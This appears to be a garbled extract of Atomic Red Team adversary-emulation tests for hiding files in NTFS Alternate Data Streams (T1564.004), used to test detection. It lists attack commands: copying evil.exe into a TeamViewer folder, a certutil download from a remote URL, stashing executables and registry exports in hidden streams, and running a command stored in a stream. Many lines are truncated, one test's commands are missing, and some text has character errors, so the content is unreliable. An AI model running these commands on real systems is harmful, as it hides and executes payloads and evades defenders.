

```
> T1037.001
```

> T1037.002

> T1037.004

> T1037.005

> **T**1039

> T1040

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

```
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_
extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump #{path}\procexp.exe > #{path}\file.tx
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/redca
makecab #{path}\autoruns.exe #{path}\cabtest.txt:autoruns.cab
print /D:#{path}\file.txt:autoruns.exe #{path}\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg #{path}\file.txt:evilreg.reg
regedit /E #{path}\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \webdav\folder\file.bat #{path}\file.txt:file.bat
esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o
```

Atomic Test #2 - Store file in Alternate Data Stream (ADS)

Storing files in Alternate Data Stream (ADS) similar to Astaroth malware. Upon execution cmd will run and attempt to launch desktop.ini. No windows remain open after the test

Supported Platforms: Windows

auto_generated_guid: 2ab75061-f5d5-4c1a-b666-ba2a50df5b02

Inputs:

Name	Description	Туре	Default Value
payload_path	Path of file to hide in ADS	Path	c:\windows\system32\cmd.exe
ads_file_path	Path of file to create an ADS under	Path	C:\Users\Public\Libraries\yanki\desktop.ini
ads_name	Name of ADS	String	desktop.ini

Attack Commands: Run with powershell!

```
if (!(Test-Path C:\Users\Public\Libraries\yanki -PathType Container)) {
    New-Item -ItemType Directory -Force -Path C:\Users\Public\Libraries\}
}
Start-Process -FilePath "$env:comspec" -ArgumentList "/c,type,#{payload_
```

Cleanup Commands:

```
Remove-Item "#{ads_file_path}" -Force -ErrorAction Ignore
```

Atomic Test #3 - Create ADS command prompt

Create an Alternate Data Stream with the command prompt. Write access is required. Upon execution, run "dir /a-d /s /r \mid find ":\$DATA"" in the %temp% folder to view that the alternate data stream exists. To view the data in the alternate data stream, run "notepad T1564.004 has ads.txt:adstest.txt"

Supported Platforms: Windows

auto_generated_guid: 17e7637a-ddaf-4a82-8622-377e20de8fdb

Inputs:

Name	Description	Туре	Default Value
file_name	File name of file to create ADS on.	String	%temp%\T1564.004_has_ads_cmd.txt
ads_filename	Name of ADS.	String	adstest.txt

Attack Commands: Run with command_prompt!

```
echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename}
for /f "usebackq delims=?" %i in (#{file_name}:#{ads_filename}) do %i
```

Cleanup Commands:

```
del #{file_name} >nul 2>&1
```

Atomic Test #4 - Create ADS PowerShell

Create an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command "Is -Recurse | %{ gi \$_.Fullname -stream *} | where stream -ne ':\$Data' | Select-Object pschildname" in the %temp% directry to view all files with hidden data streams. To view the data in the alternate data stream, run "notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt" in the %temp% folder.

Supported Platforms: Windows

auto_generated_guid: 0045ea16-ed3c-4d4c-a9ee-15e44d1560d1

Inputs:

Name	Description	Туре	Default Value
file_name	File name of file to create ADS on.	String	\$env:TEMP\T1564.004_has_ads_powershell.txt
ads_filename	Name of ADS file.	String	adstest.txt

Attack Commands: Run with powershell!

Cleanup Commands:

```
Remove-Item -Path #{file_name} -ErrorAction Ignore
```

Dependencies: Run with powershell!

Description: The file must exist on disk at specified location (#{file_name})

Check Prereq Commands:

```
if (Test-Path #{file_name}) { exit 0 } else { exit 1 }
```

